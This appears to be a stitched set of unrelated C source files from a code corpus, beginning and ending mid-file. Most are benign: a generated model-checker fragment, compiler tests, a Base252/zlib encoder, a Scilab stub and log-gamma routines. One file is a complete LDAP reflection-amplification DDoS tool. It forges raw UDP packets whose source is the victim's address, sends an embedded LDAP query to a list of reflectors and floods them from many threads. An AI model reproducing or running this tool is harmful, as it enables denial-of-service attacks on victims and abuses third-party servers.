!t7_evt0) && ( !t7_evt1))))))) && (((gate_evt0 && ( !gate_evt1)) == (( !controller_evt2) && (controller_evt0 && controller_evt1))) || ( !(delta == 0.0)))) && (( !(delta == 0.0)) || ((gate_evt1 && ( !gate_evt0)) == (controller_evt2 && (( !controller_evt0) && ( !controller_evt1)))))) && (( !(delta == 0.0)) || ((( !controller_evt2) && (controller_evt0 && ( !controller_evt1))) == ((t7_evt0 && ( !t7_evt1)) || ((t6_evt0 && ( !t6_evt1)) || ((t5_evt0 && ( !t5_evt1)) || ((t4_evt0 && ( !t4_evt1)) || ((t3_evt0 && ( !t3_evt1)) || ((t2_evt0 && ( !t2_evt1)) || ((t0_evt0 && ( !t0_evt1)) || (t1_evt0 && ( !t1_evt1)))))))))))) && (( !(delta == 0.0)) || ((( !controller_evt2) && (controller_evt1 && ( !controller_evt0))) == ((t7_evt1 && ( !t7_evt0)) || ((t6_evt1 && ( !t6_evt0)) || ((t5_evt1 && ( !t5_evt0)) || ((t4_evt1 && ( !t4_evt0)) || ((t3_evt1 && ( !t3_evt0)) || ((t2_evt1 && ( !t2_evt0)) || ((t0_evt1 && ( !t0_evt0)) || (t1_evt1 && ( !t1_evt0)))))))))))) && (((delta == _x__diverge_delta) || ( !(1.0 <= _diverge_delta))) && ((1.0 <= _diverge_delta) || ((delta + (_diverge_delta + (-1.0 * _x__diverge_delta))) == 0.0)))) && ((((((_EL_U_1287 == (_x__EL_U_1287 || ( !(_x__EL_U_1285 || (1.0 <= _x__diverge_delta))))) && ((_EL_U_1285 == (_x__EL_U_1285 || (1.0 <= _x__diverge_delta))) && ((_EL_U_1292 == (_x__EL_U_1292 || ( !((_x__EL_U_1289 || ((_x_gate_l1 && ( !_x_gate_l0)) && (_x__EL_X_1253 && _x__EL_X_1255))) || ( !((( !_x_gate_l0) && ( !_x_gate_l1)) && (_x__EL_X_1255 && ( !_x__EL_X_1253)))))))) && ((_EL_U_1289 == (_x__EL_U_1289 || ((_x_gate_l1 && ( !_x_gate_l0)) && (_x__EL_X_1253 && _x__EL_X_1255)))) && ((_x_gate_l0 == _EL_X_1255) && (_x_gate_l1 == _EL_X_1253)))))) && (_x__J1322 == (( !(((_J1322 && _J1339) && _J1345) && _J1351)) && ((((_J1322 && _J1339) && _J1345) && _J1351) || ((((gate_l1 && ( !gate_l0)) && (_EL_X_1255 && _EL_X_1253)) || ( !(_EL_U_1289 || ((gate_l1 && ( !gate_l0)) && (_EL_X_1255 && _EL_X_1253))))) || _J1322))))) && (_x__J1339 == (( !(((_J1322 && _J1339) && _J1345) && _J1351)) && ((((_J1322 && _J1339) && _J1345) && _J1351) || ((( !((_EL_U_1289 || ((gate_l1 && ( !gate_l0)) && (_EL_X_1255 && _EL_X_1253))) || ( !((( !gate_l0) && ( !gate_l1)) && (_EL_X_1255 && ( !_EL_X_1253)))))) || ( !(_EL_U_1292 || ( !((_EL_U_1289 || ((gate_l1 && ( !gate_l0)) && (_EL_X_1255 && _EL_X_1253))) || ( !((( !gate_l0) && ( !gate_l1)) && (_EL_X_1255 && ( !_EL_X_1253))))))))) || _J1339))))) && (_x__J1345 == (( !(((_J1322 && _J1339) && _J1345) && _J1351)) && ((((_J1322 && _J1339) && _J1345) && _J1351) || (((1.0 <= _diverge_delta) || ( !((1.0 <= _diverge_delta) || _EL_U_1285))) || _J1345))))) && (_x__J1351 == (( !(((_J1322 && _J1339) && _J1345) && _J1351)) && ((((_J1322 && _J1339) && _J1345) && _J1351) || ((( !((1.0 <= _diverge_delta) || _EL_U_1285)) || ( !(_EL_U_1287 || ( !((1.0 <= _diverge_delta) || _EL_U_1285))))) || _J1351))))));
t0_evt0 = _x_t0_evt0;
_EL_X_1255 = _x__EL_X_1255;
_diverge_delta = _x__diverge_delta;
delta = _x_delta;
_EL_U_1289 = _x__EL_U_1289;
gate_l1 = _x_gate_l1;
gate_l0 = _x_gate_l0;
_EL_U_1292 = _x__EL_U_1292;
gate_y = _x_gate_y;
t5_x = _x_t5_x;
t5_l1 = _x_t5_l1;
t5_l0 = _x_t5_l0;
t1_x = _x_t1_x;
t1_l1 = _x_t1_l1;
gate_evt1 = _x_gate_evt1;
gate_evt0 = _x_gate_evt0;
t5_evt1 = _x_t5_evt1;
t5_evt0 = _x_t5_evt0;
t1_l0 = _x_t1_l0;
t1_evt1 = _x_t1_evt1;
t1_evt0 = _x_t1_evt0;
t6_x = _x_t6_x;
controller_l1 = _x_controller_l1;
t6_l1 = _x_t6_l1;
controller_l0 = _x_controller_l0;
t6_l0 = _x_t6_l0;
t2_x = _x_t2_x;
t2_l1 = _x_t2_l1;
controller_z = _x_controller_z;
t6_evt1 = _x_t6_evt1;
t6_evt0 = _x_t6_evt0;
t2_l0 = _x_t2_l0;
controller_cnt = _x_controller_cnt;
t2_evt1 = _x_t2_evt1;
t2_evt0 = _x_t2_evt0;
t7_x = _x_t7_x;
t7_l1 = _x_t7_l1;
t7_l0 = _x_t7_l0;
t3_x = _x_t3_x;
controller_evt1 = _x_controller_evt1;
t3_l1 = _x_t3_l1;
t7_evt1 = _x_t7_evt1;
t7_evt0 = _x_t7_evt0;
controller_evt0 = _x_controller_evt0;
controller_evt2 = _x_controller_evt2;
t3_l0 = _x_t3_l0;
t3_evt1 = _x_t3_evt1;
t3_evt0 = _x_t3_evt0;
t4_l0 = _x_t4_l0;
t4_evt1 = _x_t4_evt1;
_J1351 = _x__J1351;
_J1345 = _x__J1345;
t4_x = _x_t4_x;
_J1339 = _x__J1339;
t4_l1 = _x_t4_l1;
t0_x = _x_t0_x;
_J1322 = _x__J1322;
_EL_U_1285 = _x__EL_U_1285;
t0_l1 = _x_t0_l1;
t4_evt0 = _x_t4_evt0;
t0_l0 = _x_t0_l0;
_EL_U_1287 = _x__EL_U_1287;
_EL_X_1253 = _x__EL_X_1253;
t0_evt1 = _x_t0_evt1;
}
}
|
the_stack_data/237643798.c | main()
{
printf("Hello"); putchar(10);
printf("World"); putchar(10);
printf("Hello World"); putchar(10);
return;
}
|
the_stack_data/787613.c | /* $OpenBSD: floor.c,v 1.1 2003/11/01 00:50:44 mickey Exp $ */
/* Written by Michael Shalayeff, 2003, Public domain. */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#include <unistd.h>
#include <math.h>
static void
sigfpe(int sig, siginfo_t *si, void *v)
{
char buf[132];
if (si) {
snprintf(buf, sizeof(buf), "sigfpe: addr=%p, code=%d\n",
si->si_addr, si->si_code);
write(1, buf, strlen(buf));
}
_exit(1);
}
int
main(int argc, char *argv[])
{
struct sigaction sa;
memset(&sa, 0, sizeof(sa));
sa.sa_sigaction = sigfpe;
sa.sa_flags = SA_SIGINFO;
sigaction(SIGFPE, &sa, NULL);
if (floor(4294967295.7) != 4294967295.)
exit(1);
exit(0);
}
|
the_stack_data/68212.c | /* Test warning for ordered comparison pointer with null pointer constant. */
/* Test with -pedantic-errors. */
/* { dg-do compile } */
/* { dg-options "-pedantic-errors" } */
extern void z();
void *p;
void f() {
if ( z >= 0 ) /* { dg-error "ordered comparison of pointer with" } */
z();
if ( 0 >= z) /* { dg-error "ordered comparison of pointer with" } */
z();
if ( p >= (void*)0 )
z();
if ( (void*)0 >= p)
z();
if (z >= (void*)0) /* { dg-error "distinct pointer types lacks a cast" } */
z();
if ((void*)0 >=z) /* { dg-error "distinct pointer types lacks a cast" } */
z();
}
|
the_stack_data/93887423.c | /*
Copyright (c) 2020 Igor van den Hoven [email protected]
Permission to use, copy, modify, and distribute this software for any
purpose with or without fee is hereby granted, provided that the above
copyright notice and this permission notice appear in all copies.
THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
*/
/*
Compile using: gcc <filename> -lz
The data_to_base252 function uses zlib to compress data, next translates the data
to Base252 to create valid C strings.
The base252_to_data function reverses the process.
*/
#include <stdlib.h>
#include <stdio.h>
#include <zlib.h>
#include <string.h>
#define BUFFER_SIZE 10000
/*
zlib utility functions
*/
void *zlib_alloc( void *opaque, unsigned int items, unsigned int size )
{
return calloc(items, size);
}
void zlib_free( void *opaque, void *address )
{
free(address);
}
int zlib_compress(char *in, size_t size_in, char *out, size_t size_out)
{
char *buf, *pto;
z_stream *stream;
int len, cnt;
stream = calloc(1, sizeof(z_stream));
stream->next_in = (unsigned char *) in;
stream->avail_in = size_in;
stream->next_out = (unsigned char *) out;
stream->avail_out = size_out - 1;
stream->data_type = Z_ASCII;
stream->zalloc = zlib_alloc;
stream->zfree = zlib_free;
stream->opaque = Z_NULL;
if (deflateInit(stream, Z_BEST_COMPRESSION) != Z_OK)
{
printf("zlib_compress: failed deflateInit2\n");
free(stream);
return -1;
}
if (deflate(stream, Z_FINISH) != Z_STREAM_END)
{
printf("zlib_compress: failed deflate\n");
free(stream);
return -1;
}
if (deflateEnd(stream) != Z_OK)
{
printf("zlib_compress: failed deflateEnd\n");
free(stream);
return -1;
}
len = size_out - stream->avail_out;
free(stream);
return len;
}
int zlib_decompress(char *in, size_t size_in, char *out, size_t size_out)
{
z_stream *stream;
int len;
stream = calloc(1, sizeof(z_stream));
stream->data_type = Z_ASCII;
stream->zalloc = zlib_alloc;
stream->zfree = zlib_free;
stream->opaque = Z_NULL;
if (inflateInit(stream) != Z_OK)
{
printf("zlib_decompresss: failed inflateInit\n");
free(stream);
return -1;
}
stream->next_in = (unsigned char *) in;
stream->avail_in = size_in;
stream->next_out = (unsigned char *) out;
stream->avail_out = size_out - 1;
if (inflate(stream, Z_SYNC_FLUSH) == Z_BUF_ERROR)
{
printf("zlib_decompress: inflate Z_BUF_ERROR\n");
len = -1;
}
else
{
len = stream->next_out - (unsigned char *) out;
out[len] = 0;
}
inflateEnd(stream);
free(stream);
return len;
}
/*
Base252 utility functions
*/
// zlib compress data, next convert data to base252
// returns size of out, not including null-termination
int data_to_base252(char *in, size_t size_in, char *out, size_t size_out)
{
char *buf, *pto;
int len, cnt;
buf = malloc(BUFFER_SIZE);
len = zlib_compress(in, size_in, buf, size_out);
if (len == -1)
{
return -1;
}
pto = out;
for (cnt = 0 ; cnt < len ; cnt++)
{
if (pto - out >= size_out - 2)
{
break;
}
switch ((unsigned char) buf[cnt])
{
case 0:
case '"':
*pto++ = 245;
*pto++ = 128 + (unsigned char) buf[cnt] % 64;
break;
case '\\':
*pto++ = 246;
*pto++ = 128 + (unsigned char) buf[cnt] % 64;
break;
case 245:
case 246:
case 247:
case 248:
*pto++ = 248;
*pto++ = 128 + (unsigned char) buf[cnt] % 64;
break;
default:
*pto++ = buf[cnt];
break;
}
}
*pto = 0;
free(buf);
return pto - out;
}
// unconvert data from base252, next zlib decompress data
// returns size of out, not including null-termination
int base252_to_data(char *in, size_t size_in, char *out, size_t size_out)
{
char *buf, *ptb, *pti;
z_stream *stream;
int val, cnt;
buf = malloc(size_in);
ptb = buf;
cnt = 0;
while (cnt < size_in)
{
switch ((unsigned char) in[cnt])
{
default:
*ptb++ = in[cnt++];
continue;
case 245:
*ptb++ = 0 + (unsigned char) in[++cnt] % 64;
break;
case 246:
*ptb++ = 64 + (unsigned char) in[++cnt] % 64;
break;
case 247:
*ptb++ = 128 + (unsigned char) in[++cnt] % 64;
break;
case 248:
*ptb++ = 192 + (unsigned char) in[++cnt] % 64;
break;
}
if (cnt < size_in)
{
cnt++;
}
}
val = zlib_decompress(buf, ptb - buf, out, size_out);
free(buf);
return val;
}
/*
Testing
*/
int main(void)
{
char input[BUFFER_SIZE], output[BUFFER_SIZE];
int size;
strcpy(input, "THE SOFTWARE IS PROVIDED \"AS IS\" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.");
strcpy(output, "");
size = data_to_base252(input, strlen(input), output, BUFFER_SIZE);
printf("input is:\n\n%s\n(%d) \n\noutput is:\n\n%s\n\n", input, strlen(input), output);
memcpy(input, output, size + 1);
strcpy(output, "");
base252_to_data(input, size, output, BUFFER_SIZE);
printf("input is:\n\n%s\n(%d)\n\noutput is:\n\n%s\n\n", input, size, output);
return 0;
}
|
the_stack_data/154830777.c |
#include <stdio.h>
void scilab_rt_contour_d2d2d2d0d0d0s0i2d2i0_(int in00, int in01, double matrixin0[in00][in01],
int in10, int in11, double matrixin1[in10][in11],
int in20, int in21, double matrixin2[in20][in21],
double scalarin0,
double scalarin1,
double scalarin2,
char* scalarin3,
int in30, int in31, int matrixin3[in30][in31],
int in40, int in41, double matrixin4[in40][in41],
int scalarin4)
{
int i;
int j;
double val0 = 0;
double val1 = 0;
double val2 = 0;
int val3 = 0;
double val4 = 0;
for (i = 0; i < in00; ++i) {
for (j = 0; j < in01; ++j) {
val0 += matrixin0[i][j];
}
}
printf("%f", val0);
for (i = 0; i < in10; ++i) {
for (j = 0; j < in11; ++j) {
val1 += matrixin1[i][j];
}
}
printf("%f", val1);
for (i = 0; i < in20; ++i) {
for (j = 0; j < in21; ++j) {
val2 += matrixin2[i][j];
}
}
printf("%f", val2);
printf("%f", scalarin0);
printf("%f", scalarin1);
printf("%f", scalarin2);
printf("%s", scalarin3);
for (i = 0; i < in30; ++i) {
for (j = 0; j < in31; ++j) {
val3 += matrixin3[i][j];
}
}
printf("%d", val3);
for (i = 0; i < in40; ++i) {
for (j = 0; j < in41; ++j) {
val4 += matrixin4[i][j];
}
}
printf("%f", val4);
printf("%d", scalarin4);
}
|
the_stack_data/101850.c | /*
*/
#include <time.h>
#include <pthread.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <arpa/inet.h>
#define MAX_PACKET_SIZE 8192
#define PHI 0x9e3779b9
static uint32_t Q[4096], c = 362436;
struct list
{
struct sockaddr_in data;
struct list *next;
struct list *prev;
};
struct list *head;
volatile int tehport;
volatile int limiter;
volatile unsigned int pps;
volatile unsigned int sleeptime = 100;
struct thread_data{ int thread_id; struct list *list_node; struct sockaddr_in sin; };
void init_rand(uint32_t x)
{
int i;
Q[0] = x;
Q[1] = x + PHI;
Q[2] = x + PHI + PHI;
for (i = 3; i < 4096; i++)
{
Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
}
}
uint32_t rand_cmwc(void)
{
uint64_t t, a = 18782LL;
static uint32_t i = 4095;
uint32_t x, r = 0xfffffffe;
i = (i + 1) & 4095;
t = a * Q[i] + c;
c = (t >> 32);
x = t + c;
if (x < c) {
x++;
c++;
}
return (Q[i] = r - x);
}
unsigned short csum (unsigned short *buf, int nwords)
{
unsigned long sum = 0;
for (sum = 0; nwords > 0; nwords--)
sum += *buf++;
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
return (unsigned short)(~sum);
}
void setup_ip_header(struct iphdr *iph)
{
iph->ihl = 5;
iph->version = 4;
iph->tos = 0;
iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + 51;
iph->id = htonl(54321);
iph->frag_off = 0;
iph->ttl = MAXTTL;
iph->protocol = IPPROTO_UDP;
iph->check = 0;
iph->saddr = inet_addr("192.168.3.100");
}
void setup_udp_header(struct udphdr *udph)
{
udph->source = htons(5678);
udph->dest = htons(389);
udph->check = 0;
memcpy((void *)udph + sizeof(struct udphdr), "\x30\x84\x00\x00\x00\x2d\x02\x01\x07\x63\x84\x00\x00\x00\x24\x04\x00\x0a\x01\x00\x0a\x01\x00\x02\x01\x00\x02\x01\x64\x01\x01\x00\x87\x0b\x6f\x62\x6a\x65\x63\x74\x43\x6c\x61\x73\x73\x30\x84\x00\x00\x00\x00", 51);
udph->len=htons(sizeof(struct udphdr) + 51);
}
void *flood(void *par1)
{
struct thread_data *td = (struct thread_data *)par1;
char datagram[MAX_PACKET_SIZE];
struct iphdr *iph = (struct iphdr *)datagram;
struct udphdr *udph = (/*u_int8_t*/void *)iph + sizeof(struct iphdr);
struct sockaddr_in sin = td->sin;
struct list *list_node = td->list_node;
int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
if(s < 0){
fprintf(stderr, "Could not open raw socket.\n");
exit(-1);
}
init_rand(time(NULL));
memset(datagram, 0, MAX_PACKET_SIZE);
setup_ip_header(iph);
setup_udp_header(udph);
udph->source = htons(rand() % 65535 - 1026);
iph->saddr = sin.sin_addr.s_addr;
iph->daddr = list_node->data.sin_addr.s_addr;
iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
int tmp = 1;
const int *val = &tmp;
if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
exit(-1);
}
init_rand(time(NULL));
register unsigned int i;
i = 0;
while(1){
sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &list_node->data, sizeof(list_node->data));
list_node = list_node->next;
iph->daddr = list_node->data.sin_addr.s_addr;
iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
pps++;
if(i >= limiter)
{
i = 0;
usleep(sleeptime);
}
i++;
}
}
int main(int argc, char *argv[ ])
{
if(argc < 6){
fprintf(stderr, "\x1b[0;36mMade By @flexingonlamers.. \x1b[1;35m You entered it wrong dumb mf\n");
fprintf(stdout, "\x1b[0;36mput this hoe:\x1b[1;35m %s IP PORT ldap.txt 2 -1 TIME\n", argv[0]);
exit(-1);
}
srand(time(NULL));
int i = 0;
head = NULL;
fprintf(stdout, "\x1b[0;31mSetting up reflections...\n");
int max_len = 128;
char *buffer = (char *) malloc(max_len);
buffer = memset(buffer, 0x00, max_len);
int num_threads = atoi(argv[4]);
int maxpps = atoi(argv[5]);
limiter = 0;
pps = 0;
int multiplier = 20;
FILE *list_fd = fopen(argv[3], "r");
while (fgets(buffer, max_len, list_fd) != NULL) {
if ((buffer[strlen(buffer) - 1] == '\n') ||
(buffer[strlen(buffer) - 1] == '\r')) {
buffer[strlen(buffer) - 1] = 0x00;
if(head == NULL)
{
head = (struct list *)malloc(sizeof(struct list));
bzero(&head->data, sizeof(head->data));
head->data.sin_addr.s_addr=inet_addr(buffer);
head->next = head;
head->prev = head;
} else {
struct list *new_node = (struct list *)malloc(sizeof(struct list));
memset(new_node, 0x00, sizeof(struct list));
new_node->data.sin_addr.s_addr=inet_addr(buffer);
new_node->prev = head;
new_node->next = head->next;
head->next = new_node;
}
i++;
} else {
continue;
}
}
struct list *current = head->next;
pthread_t thread[num_threads];
struct sockaddr_in sin;
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = inet_addr(argv[1]);
struct thread_data td[num_threads];
for(i = 0;i<num_threads;i++){
td[i].thread_id = i;
td[i].sin= sin;
td[i].list_node = current;
pthread_create( &thread[i], NULL, &flood, (void *) &td[i]);
}
fprintf(stdout, "\x1b[1;35mSmacking that hoe...\n");
for(i = 0;i<(atoi(argv[6])*multiplier);i++)
{
usleep((1000/multiplier)*1000);
if((pps*multiplier) > maxpps)
{
if(1 > limiter)
{
sleeptime+=100;
} else {
limiter--;
}
} else {
limiter++;
if(sleeptime > 25)
{
sleeptime-=25;
} else {
sleeptime = 0;
}
}
pps = 0;
}
return 0;
}
|
the_stack_data/400385.c | #if __STDC_VERSION__ >= 199901L
#else
#include <malloc.h>
#endif
void listVarsArrayHistoriesReduce_u(double f, int n, int* ppkk, int* pskk, int z, int* prr, double* pmv)
{
int j;
int k;
int a;
for (j = 0; j<z; j++)
{
for (k = 1, a = prr[z*ppkk[0] + j]; k<n; k++)
a = pskk[k] * a + prr[z*ppkk[k] + j];
pmv[a] += f;
}
}
inline int toIndex(int n, int* svv, int* ivv)
{
int k;
int a;
for (k = 1, a = ivv[0]; k<n; k++)
a = svv[k] * a + ivv[k];
return a;
}
inline int toIndexPerm(int n, int* ppp, int* svv, int* ivv)
{
int k;
int p;
int a;
for (k = 1, a = ivv[ppp[0]]; k<n; k++)
{
p = ppp[k];
a = svv[p] * a + ivv[p];
}
return a;
}
inline int toIndexInsert(int u, int r, int q, int n, int* svv, int* ivv)
{
int k;
int a;
for (k = 0, a = 0; k<u; k++)
a = svv[k] * a + ivv[k];
a = r*a + q;
for (; k<n; k++)
a = svv[k] * a + ivv[k];
return a;
}
inline void incIndex(int n, int* svv, int* ivv)
{
int k;
int y;
for (k = n - 1; k >= 0; k--)
{
y = ivv[k] + 1;
if (y == svv[k])
ivv[k] = 0;
else
{
ivv[k] = y;
break;
}
}
}
void listListVarsArrayHistoryPairsPartitionIndependent_u(
double z, int v, int n, int* svv, int m, int r,
int* lyy, int* syy, int* pppp, double* aa1, double* aa2,
double* bb1, double* bb2)
{
int i;
int j;
int k;
int a;
double f;
#if __STDC_VERSION__ >= 199901L
double x1 = 0;
double x2 = 0;
int* ppp[m];
double pxx1[r];
double pxx2[r];
double* xx1[m];
double* xx2[m];
int ivv[n];
int iyy[m];
#else
double x1;
double x2;
int** ppp;
double* pxx1;
double* pxx2;
double** xx1;
double** xx2;
int* ivv;
int* iyy;
#endif
#if __STDC_VERSION__ >= 199901L
#else
x1 = 0.0;
x2 = 0.0;
ppp = (int**)alloca(sizeof(int*)*m);
pxx1 = (double*)alloca(sizeof(double)*r);
pxx2 = (double*)alloca(sizeof(double)*r);
xx1 = (double**)alloca(sizeof(double*)*m);
xx2 = (double**)alloca(sizeof(double*)*m);
ivv = (int*)alloca(sizeof(int)*n);
iyy = (int*)alloca(sizeof(int)*m);
#endif
for (k = 1, a = lyy[0], ppp[0] = pppp; k<m; k++)
{
ppp[k] = pppp + a;
a += lyy[k];
}
for (k = 1, a = syy[0], xx1[0] = pxx1, xx2[0] = pxx2; k<m; k++)
{
xx1[k] = pxx1 + a;
xx2[k] = pxx2 + a;
a += syy[k];
}
for (i = 0; i<r; i++)
{
pxx1[i] = 0.0;
pxx2[i] = 0.0;
}
for (i = 0; i<n; i++)
{
ivv[i] = 0;
}
for (j = 0; j<v; j++)
{
for (k = 0; k<m; k++)
{
i = toIndexPerm(lyy[k], ppp[k], svv, ivv);
xx1[k][i] += aa1[j];
xx2[k][i] += aa2[j];
}
incIndex(n, svv, ivv);
}
if (z != 1)
{
f = 1 / z;
for (k = 0; k<m; k++)
{
a = syy[k];
for (i = 0; i<a; i++)
{
xx1[k][i] *= f;
xx2[k][i] *= f;
}
}
}
for (i = 0; i<m; i++)
{
iyy[i] = 0;
}
if (z != 1)
{
for (j = 0; j<v; j++)
{
for (k = 0, x1 = z, x2 = z; k<m; k++)
{
a = iyy[k];
x1 *= xx1[k][a];
x2 *= xx2[k][a];
}
bb1[j] = x1;
bb2[j] = x2;
incIndex(m, syy, iyy);
}
}
else
{
for (j = 0; j<v; j++)
{
for (k = 1, a = iyy[0], x1 = xx1[0][a], x2 = xx2[0][a]; k<m; k++)
{
a = iyy[k];
x1 *= xx1[k][a];
x2 *= xx2[k][a];
}
bb1[j] = x1;
bb2[j] = x2;
incIndex(m, syy, iyy);
}
}
}
#include <math.h>
#ifndef INFINITY
#define INFINITY 1e+308
#endif
inline double alngam(double xvalue)
/******************************************************************************/
/*
Purpose:
ALNGAM computes the logarithm of the gamma function.
Licensing:
This code is distributed under the GNU LGPL license.
Modified:
20 November 2010
Author:
Original FORTRAN77 version by Allan Macleod.
C version by John Burkardt.
Reference:
Allan Macleod,
Algorithm AS 245,
A Robust and Reliable Algorithm for the Logarithm of the Gamma Function,
Applied Statistics,
Volume 38, Number 2, 1989, pages 397-402.
Parameters:
Input, double XVALUE, the argument of the Gamma function.
Output, double ALNGAM, the logarithm of the gamma function of X.
*/
{
double alr2pi = 0.918938533204673;
double r1[9] = {
-2.66685511495,
-24.4387534237,
-21.9698958928,
11.1667541262,
3.13060547623,
0.607771387771,
11.9400905721,
31.4690115749,
15.2346874070 };
double r2[9] = {
-78.3359299449,
-142.046296688,
137.519416416,
78.6994924154,
4.16438922228,
47.0668766060,
313.399215894,
263.505074721,
43.3400022514 };
double r3[9] = {
-2.12159572323E+05,
2.30661510616E+05,
2.74647644705E+04,
-4.02621119975E+04,
-2.29660729780E+03,
-1.16328495004E+05,
-1.46025937511E+05,
-2.42357409629E+04,
-5.70691009324E+02 };
double r4[5] = {
0.279195317918525,
0.4917317610505968,
0.0692910599291889,
3.350343815022304,
6.012459259764103 };
double value;
double x;
double x1;
double x2;
double xlge = 510000.0;
double xlgst = 1.0E+30;
double y;
x = xvalue;
value = 0.0;
/*
Check the input.
*/
if (x <= 0.0)
{
return INFINITY;
}
/*
Calculation for 0 < X < 0.5 and 0.5 <= X < 1.5 combined.
*/
if (x < 1.5)
{
if (x < 0.5)
{
value = -log(x);
y = x + 1.0;
/*
Test whether X < machine epsilon.
*/
if (y == 1.0)
{
return value;
}
}
else
{
value = 0.0;
y = x;
x = (x - 0.5) - 0.5;
}
value = value + x * ((((
r1[4] * y
+ r1[3]) * y
+ r1[2]) * y
+ r1[1]) * y
+ r1[0]) / ((((
y
+ r1[8]) * y
+ r1[7]) * y
+ r1[6]) * y
+ r1[5]);
return value;
}
/*
Calculation for 1.5 <= X < 4.0.
*/
if (x < 4.0)
{
y = (x - 1.0) - 1.0;
value = y * ((((
r2[4] * x
+ r2[3]) * x
+ r2[2]) * x
+ r2[1]) * x
+ r2[0]) / ((((
x
+ r2[8]) * x
+ r2[7]) * x
+ r2[6]) * x
+ r2[5]);
}
/*
Calculation for 4.0 <= X < 12.0.
*/
else if (x < 12.0)
{
value = ((((
r3[4] * x
+ r3[3]) * x
+ r3[2]) * x
+ r3[1]) * x
+ r3[0]) / ((((
x
+ r3[8]) * x
+ r3[7]) * x
+ r3[6]) * x
+ r3[5]);
}
/*
Calculation for 12.0 <= X.
*/
else
{
y = log(x);
value = x * (y - 1.0) - 0.5 * y + alr2pi;
if (x <= xlge)
{
x1 = 1.0 / x;
x2 = x1 * x1;
value = value + x1 * ((
r4[2] *
x2 + r4[1]) *
x2 + r4[0]) / ((
x2 + r4[4]) *
x2 + r4[3]);
}
}
return value;
}
double alngam_1(double xvalue)
/******************************************************************************/
/*
Purpose:
ALNGAM computes the logarithm of the gamma function.
Licensing:
This code is distributed under the GNU LGPL license.
Modified:
20 November 2010
Author:
Original FORTRAN77 version by Allan Macleod.
C version by John Burkardt.
Reference:
Allan Macleod,
Algorithm AS 245,
A Robust and Reliable Algorithm for the Logarithm of the Gamma Function,
Applied Statistics,
Volume 38, Number 2, 1989, pages 397-402.
Parameters:
Input, double XVALUE, the argument of the Gamma function.
Output, double ALNGAM, the logarithm of the gamma function of X.
*/
{
static double alr2pi = 0.918938533204673;
static double r1[9] = {
-2.66685511495,
-24.4387534237,
-21.9698958928,
11.1667541262,
3.13060547623,
0.607771387771,
11.9400905721,
31.4690115749,
15.2346874070 };
static double r2[9] = {
-78.3359299449,
-142.046296688,
137.519416416,
78.6994924154,
4.16438922228,
47.0668766060,
313.399215894,
263.505074721,
43.3400022514 };
static double r3[9] = {
-2.12159572323E+05,
2.30661510616E+05,
2.74647644705E+04,
-4.02621119975E+04,
-2.29660729780E+03,
-1.16328495004E+05,
-1.46025937511E+05,
-2.42357409629E+04,
-5.70691009324E+02 };
static double r4[5] = {
0.279195317918525,
0.4917317610505968,
0.0692910599291889,
3.350343815022304,
6.012459259764103 };
double value;
double x;
double x1;
double x2;
static double xlge = 510000.0;
static double xlgst = 1.0E+30;
double y;
x = xvalue;
value = 0.0;
/*
Check the input.
*/
if (x <= 0.0)
{
return INFINITY;
}
/*
Calculation for 0 < X < 0.5 and 0.5 <= X < 1.5 combined.
*/
if (x < 1.5)
{
if (x < 0.5)
{
value = -log(x);
y = x + 1.0;
/*
Test whether X < machine epsilon.
*/
if (y == 1.0)
{
return value;
}
}
else
{
value = 0.0;
y = x;
x = (x - 0.5) - 0.5;
}
value = value + x * ((((
r1[4] * y
+ r1[3]) * y
+ r1[2]) * y
+ r1[1]) * y
+ r1[0]) / ((((
y
+ r1[8]) * y
+ r1[7]) * y
+ r1[6]) * y
+ r1[5]);
return value;
}
/*
Calculation for 1.5 <= X < 4.0.
*/
if (x < 4.0)
{
y = (x - 1.0) - 1.0;
value = y * ((((
r2[4] * x
+ r2[3]) * x
+ r2[2]) * x
+ r2[1]) * x
+ r2[0]) / ((((
x
+ r2[8]) * x
+ r2[7]) * x
+ r2[6]) * x
+ r2[5]);
}
/*
Calculation for 4.0 <= X < 12.0.
*/
else if (x < 12.0)
{
value = ((((
r3[4] * x
+ r3[3]) * x
+ r3[2]) * x
+ r3[1]) * x
+ r3[0]) / ((((
x
+ r3[8]) * x
+ r3[7]) * x
+ r3[6]) * x
+ r3[5]);
}
/*
Calculation for 12.0 <= X.
*/
else
{
y = log(x);
value = x * (y - 1.0) - 0.5 * y + alr2pi;
if (x <= xlge)
{
x1 = 1.0 / x;
x2 = x1 * x1;
